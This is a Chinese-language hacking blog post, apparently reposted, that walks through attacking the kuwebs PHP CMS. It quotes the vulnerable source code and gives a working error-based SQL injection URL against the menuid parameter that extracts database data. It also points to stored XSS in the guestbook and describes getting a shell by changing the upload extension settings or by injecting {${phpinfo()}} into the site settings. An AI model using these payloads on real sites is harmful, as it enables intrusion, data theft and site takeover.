- A+
显示不全请点击全屏阅读
转载请注明出处,谢谢
无聊,测试一个站点,发现是kuwebs源码,谷歌下,发现有人发布了漏洞,但是貌似补了,然后在官网下载了一份,在下载的时候居然提示有木马,我了个插,看来有人把kuwebs官网日了,留后门了。。。
简单看了下,发现了一个注入点,看代码:
<?php
require_once ‘../inc/common.inc.php’;
$strSql = “select * from {$configTableHead}job where id='{$jobid}’ and lang='{$kuWebsiteCurrLanguage}’;”;
// $jobid 变量没有经过任何过滤,直接进行数据库查询了,但是这里有引号,如果开启了magic就不能注入了,可以考虑下mysql的GBK宽字节注入,哟西
$kuArrJobInfo = $dbInstance->getOne($strSql);
//$kuResumePost = $row[‘jobpost’];
$kuPositionId = $kuArrJobInfo[‘type3’] ? $kuArrJobInfo[‘type3’] : ($kuArrJobInfo[‘type2’] ? $kuArrJobInfo[‘type2’] : $kuArrJobInfo[‘type1’]);
…………………..
$arrMenuInfo = getMenuIdInfo($menuid); //这里就是注入点了。。。
$topMenuId = ”;
if(count($kuMenuList[$kuProductShow[‘type3’]]))$topMenuId = $arrMenuInfo[‘type3’];
else if(count($kuMenuList[$kuProductShow[‘type2’]]))$topMenuId = $arrMenuInfo[‘type2’];
else if(count($kuMenuList[$kuProductShow[‘type1’]]))$topMenuId = $arrMenuInfo[‘type1’];
………………….函数的说明
function getMenuIdInfo($id)
{
if(” == $id || 0 > $id)return;
global $configTableHead, $kuWebsiteCurrLanguage, $dbInstance;
$strSql = “select id, fatherid from {$configTableHead}menu where id={$id};”;
$row1 = $dbInstance->getOne($strSql);
if(!is_array($row1))return;
if(0 == intval($row1[‘fatherid’]))
{
$arrInfo[‘level’] = 1;
$arrInfo[‘type1’] = $id;
$arrInfo[‘type2’] = ”;
$arrInfo[‘type3’] = ”;
return $arrInfo;
}
exp:
http://127.0.0.1/kuwebs/job/resume.php?jobid=16&lang=cn&menuid=6 and (select 1 from(select count(*),concat((select (select version()) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a)>0
话说到这里应该结束了,但是kuwebs比较恶心,你不改默认的管理后台路径,它会使劲的弹框提示你修改路径,所以,往往有密码了,没洞插,射不了。现在流行XSS盲打,那我也就流行下,找一下xss,发现网站留言那里存在存储型的xss,然后看了下代码,确实没有经过过滤
最后是拿shell了,拿shell很简单,可以直接修改上传后缀配置,也可以在 网站基本设置->基本信息->{${phpinfo()}} 直接拿shell
原文地址:http://www.ayhacker.net/ayblog/read.php?208
Tags:
如果您喜欢我的博客,欢迎点击图片定订阅到邮箱 也可以点击链接【订阅到鲜果】
如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡